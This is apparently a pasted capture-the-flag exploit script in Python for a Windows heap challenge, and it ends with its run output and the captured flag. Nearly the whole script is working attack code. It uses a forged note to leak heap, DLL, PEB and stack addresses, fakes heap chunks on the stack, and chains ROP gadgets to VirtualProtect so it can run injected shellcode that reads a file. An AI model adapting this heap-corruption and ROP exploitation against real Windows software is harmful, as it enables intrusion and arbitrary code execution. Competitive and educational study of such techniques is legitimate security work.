SHOW:
|
|
- or go back to the newest paste.
1 | #!/usr/bin/python | |
2 | # -*- coding: utf-8 -*- | |
3 | import struct, socket, sys, os, telnetlib, hexdump | |
4 | ||
5 | ################################################################################# | |
6 | ||
7 | def sock(host, port): | |
8 | s = socket.create_connection((host, port)) | |
9 | return s, s.makefile('rw', bufsize=0) | |
10 | ||
11 | def read_until(f, delim='\n'): | |
12 | data = '' | |
13 | while not data.endswith(delim): data += f.read(1) | |
14 | return data | |
15 | ||
16 | def shell(s): | |
17 | t = telnetlib.Telnet() | |
18 | t.sock = s | |
19 | t.interact() | |
20 | ||
21 | def p(a): return struct.pack("<I",a&0xffffffff) | |
22 | def u(a): return struct.unpack("<I",a)[0] | |
23 | def pQ(a): return struct.pack("<Q",a&0xffffffffffffffff) | |
24 | def uQ(a): return struct.unpack("<Q",a)[0] | |
25 | ||
26 | def dbg(ss): | |
27 | cs, ce = '\x1b[1;37m', '\x1b[00m' # White | |
28 | print(cs + "[+] %s: 0x%x"%(ss, eval(ss)) + ce) | |
29 | ||
30 | def make_asm(asm): | |
31 | open("sc.asm", "wb").write(asm) | |
32 | r = os.system("nasm -f bin sc.asm -o sc.bin -l sc.lst") | |
33 | if r != 0: exit() | |
34 | return open("sc.bin","rb").read() | |
35 | ||
36 | def xxd(data): | |
37 | hexdump.hexdump(data) | |
38 | ||
39 | ################################################################################# | |
40 | ||
41 | def menu(): | |
42 | r = read_until(f, ">> ") | |
43 | #print [r] | |
44 | return r | |
45 | ||
46 | def login(): | |
47 | f.write("1\n") | |
48 | read_until(f, "User:") | |
49 | f.write("orange\n") | |
50 | read_until(f, "Password:") | |
51 | f.write("godlike\n") | |
52 | return menu() | |
53 | ||
54 | def add(key, size, content, skip=False): | |
55 | assert size < 0x1000 | |
56 | f.write("1\n") | |
57 | read_until(f, "Key:") | |
58 | f.write(("%s\n" % key)[:0x40]) | |
59 | read_until(f, "Size:") | |
60 | f.write("%d\n" % size) | |
61 | read_until(f, "Data:") | |
62 | f.write("%s\n" % content) | |
63 | if skip: | |
64 | return | |
65 | return menu() | |
66 | ||
67 | def show(key, skip=False): | |
68 | f.write("2\n") | |
69 | read_until(f, "Key:") | |
70 | f.write("%s\n" % key) | |
71 | if not skip: | |
72 | read_until(f, "Data:") | |
73 | return menu() | |
74 | ||
75 | def delete(key): | |
76 | f.write("3\n") | |
77 | read_until(f, "Key:") | |
78 | f.write("%s\n" % key) | |
79 | return menu() | |
80 | ||
81 | ################################################################################# | |
82 | if sys.argv[1] == 'r': | |
83 | HOST, PORT = "13.230.51.176", 4869 | |
84 | STACK_START_OFS = 0x2000 # some brute force | |
85 | ||
86 | else: | |
87 | HOST, PORT = "192.168.164.130", 4869 | |
88 | STACK_START_OFS = 0x4000 | |
89 | ||
90 | ofs_virtual_protect = 0x1B680 | |
91 | ofs_pop_rcx = 0x9217b #: pop rcx ; ret ; (4 found) | |
92 | ofs_pop_rdx = 0x8fb37 #: pop rdx ; pop r11 ; ret ; (1 found) | |
93 | ofs_pop_r8 = 0x2010b #: pop r8 ; ret ; (1 found) | |
94 | ofs_pop_r9 = 0x8fb34 #: pop r9 ; pop r10 ; pop r11 ; ret ; (1 found) | |
95 | ofs_pop_rax = 0x2010c #: pop rax ; ret ; (38 found) | |
96 | ofs_jmp_rax = 0x04c8b #: jmp rax ; (17 found) | |
97 | ||
98 | ################################################################################# | |
99 | s, f = sock(HOST, PORT) | |
100 | login() | |
101 | ||
102 | tag = pQ(0) | |
103 | print "[+] setup" | |
104 | add("Aa", 0x400, "A"*0x2f) # create | |
105 | add("Aa", 0x10, "A"*0xf) # re-create | |
106 | add(tag, 0x20, "z"*0xf) # victim | |
107 | ||
108 | print "[+] first leak" | |
109 | leak_data = show("Aa") | |
110 | leak = uQ(leak_data[0x20:0x28]) | |
111 | dbg("leak") | |
112 | heap = leak - 0x960 | |
113 | dbg("heap") | |
114 | ||
115 | print "[+] leak dll, pie, peb, and stack" | |
116 | def leak(addr, size=0x20, leak_data=leak_data): | |
117 | forge = leak_data[:0x20] + pQ(addr) + pQ(size) + leak_data[0x30:] | |
118 | add("Aa", 0x10, forge) | |
119 | r = show(tag) | |
120 | return uQ(r[:8]), r | |
121 | ||
122 | ntdll = leak(heap + 0x2c0)[0] - 0x163d10 | |
123 | ntdll &= ~0xfff | |
124 | dbg("ntdll") | |
125 | assert leak(ntdll)[1].startswith("MZ") # debug | |
126 | ||
127 | dadadb = leak(ntdll + 0x15f000 + 0x62c8)[0] - 0xf8 | |
128 | dbg("dadadb") | |
129 | assert leak(dadadb)[1].startswith("MZ") # debug | |
130 | ||
131 | cookie = leak(dadadb + 0x5008)[0] | |
132 | dbg("cookie") | |
133 | ||
134 | kernel32 = leak(ntdll + 0x15f000 + 0x6fd8)[0] - 0x3d8d0 | |
135 | kernel32 &= ~0xfff | |
136 | dbg("kernel32") | |
137 | assert leak(kernel32)[1].startswith("MZ") # debug | |
138 | ||
139 | encoding = leak(heap + 0x88)[0] | |
140 | dbg("encoding") | |
141 | ||
142 | peb = leak(ntdll + 0x165308)[0] - 0x80 | |
143 | dbg("peb") | |
144 | ||
145 | ucrtbase = leak(ntdll + 0x178548)[0] | |
146 | dbg("ucrtbase") | |
147 | assert leak(ucrtbase)[1].startswith("MZ") # debug | |
148 | ||
149 | stackbase = leak(peb + 0x1010)[0] | |
150 | dbg("stackbase") | |
151 | r = leak(stackbase + STACK_START_OFS, 0x1000)[1] | |
152 | while not "e\0x\0e\0" in r : | |
153 | r += menu() | |
154 | menu() | |
155 | stack = stackbase + STACK_START_OFS + len(r) + 0x102 | |
156 | dbg("stack") | |
157 | ||
158 | print "[+] fix addr" | |
159 | leak(heap + 0x960) # for fix to delete | |
160 | leak_data = show("Aa") | |
161 | ||
162 | print "[+] forge next and delete prev" | |
163 | def forge_next(addr, leak_data=leak_data): | |
164 | forge = leak_data[:0x20+0x58] + pQ(addr) + leak_data[0x20+0x58+8:] | |
165 | add("Aa", 0x10, forge) | |
166 | ||
167 | forge_next(stack) | |
168 | delete(tag) | |
169 | ||
170 | print "[+] create shellcode to heap" | |
171 | shellcode = make_asm(""" | |
172 | BITS 64 | |
173 | global _start | |
174 | _start: | |
175 | ||
176 | open: | |
177 | mov r15, %#x | |
178 | lea rcx, [r15 + 0x5668] ; file_fd | |
179 | lea rdx, [rel FILENAME] ; filename | |
180 | lea r8, [rel PERMISSION] ; perm | |
181 | lea rax, [r15 + 0x31A8] | |
182 | call [rax] | |
183 | ||
184 | read: | |
185 | lea rcx, [r15 + 0x5f00] ; buffer | |
186 | mov rdx, 0x100 ; size | |
187 | mov r8, 0x1 ; count | |
188 | lea rax, [r15 + 0x5668] | |
189 | mov r9, [rax] ; file_fd | |
190 | lea rax, [r15 + 0x3208] | |
191 | call [rax] | |
192 | ||
193 | puts: | |
194 | lea rcx, [r15 + 0x5f00] ; buffer | |
195 | lea rax, [r15 + 0x31d0] | |
196 | call [rax] | |
197 | ||
198 | LOOP: | |
199 | jmp LOOP | |
200 | ||
201 | FILENAME: db "flag.txt", 0 | |
202 | PERMISSION: db "r", 0 | |
203 | """ % (dadadb)) | |
204 | #xxd(shellcode) | |
205 | ||
206 | add("hogehoge", 0x100, shellcode) | |
207 | shellcode_addr = heap + 0x960 | |
208 | ||
209 | print "[+] forge note on to stack" | |
210 | fake_note = pQ(stack - 0x270) + pQ(0x300) | |
211 | #xxd(fake_note) | |
212 | show(fake_note, skip=True) | |
213 | ||
214 | print "[+] create fake heap on to stack " | |
215 | def create_heap_header(size, prev_size): | |
216 | busy=1 | |
217 | unused=0x10 | |
218 | size = size/0x10 | |
219 | prev_size = prev_size/0x10 | |
220 | raw = size | (busy<<16) | (((size&0xff)^((size>>8)&0xff)^busy)<<24) | (prev_size<<32) | (unused<<56) | |
221 | return encoding ^ raw | |
222 | ||
223 | fake_chunk = tag + pQ(create_heap_header(0x10, 0x10)) | |
224 | fake_chunk += pQ(0) + pQ(create_heap_header(0x20, 0x10)) | |
225 | fake_chunk += pQ(0) + pQ(0) | |
226 | fake_chunk += pQ(0) + pQ(create_heap_header(0x10, 0x20)) | |
227 | #xxd(fake_chunk) | |
228 | ||
229 | rsp = stack - 0x2e0 | |
230 | ||
231 | virtual_protect = kernel32 + ofs_virtual_protect | |
232 | pop_rcx = ntdll + ofs_pop_rcx | |
233 | pop_rdx = ntdll + ofs_pop_rdx | |
234 | pop_r8 = ntdll + ofs_pop_r8 | |
235 | pop_r9 = ntdll + ofs_pop_r9 | |
236 | pop_rax = ntdll + ofs_pop_rax | |
237 | jmp_rax = ntdll + ofs_jmp_rax | |
238 | ||
239 | rop = pQ(pop_rcx) | |
240 | rop += pQ(heap) # lpAddress | |
241 | rop += pQ(pop_rdx) | |
242 | rop += pQ(0x2000) # dwSize | |
243 | rop += pQ(0xdeadbeef) | |
244 | rop += pQ(pop_r8) | |
245 | rop += pQ(0x40) # flNewProtect (PAGE_EXECUTE_READWRITE) | |
246 | rop += pQ(pop_r9) | |
247 | rop += pQ(heap) # lpflOldProtect | |
248 | rop += pQ(0xdeadbeef) | |
249 | rop += pQ(0xdeadbeef) | |
250 | rop += pQ(pop_rax) | |
251 | rop += pQ(virtual_protect) | |
252 | rop += pQ(jmp_rax) | |
253 | rop += pQ(shellcode_addr) | |
254 | #xxd(rop) | |
255 | ||
256 | add(fake_chunk, 0x10, "Z"*0xe0 + pQ(rsp^cookie) + pQ(0)*4 + rop, skip=True) | |
257 | ||
258 | print "[+] shell" | |
259 | shell(s) | |
260 | ||
261 | """ | |
262 | [+] setup | |
263 | [+] first leak | |
264 | [+] leak: 0x2114b5e0960 | |
265 | [+] heap: 0x2114b5e0000 | |
266 | [+] leak dll, pie, peb, and stack | |
267 | [+] ntdll: 0x7ff94e160000 | |
268 | [+] dadadb: 0x7ff7de140000 | |
269 | [+] cookie: 0x5e6f3b24ab69 | |
270 | [+] kernel32: 0x7ff94e010000 | |
271 | [+] encoding: 0x661ce85fa323 | |
272 | [+] peb: 0x9440c1e000 | |
273 | [+] ucrtbase: 0x7ff94b280000 | |
274 | [+] stackbase: 0x9440b9d000 | |
275 | [+] stack: 0x9440b9f980 | |
276 | [+] fix addr | |
277 | [+] forge next and delete prev | |
278 | [+] create shellcode to heap | |
279 | [+] forge note on to stack | |
280 | [+] create fake heap on to stack | |
281 | [+] shell | |
282 | Done! | |
283 | hitcon{Oh_U_got_the_Exc4libur_in_ddaa-s_HEAP} | |
284 | Try to learn breath of shadow to kill demon ! | |
285 | """ |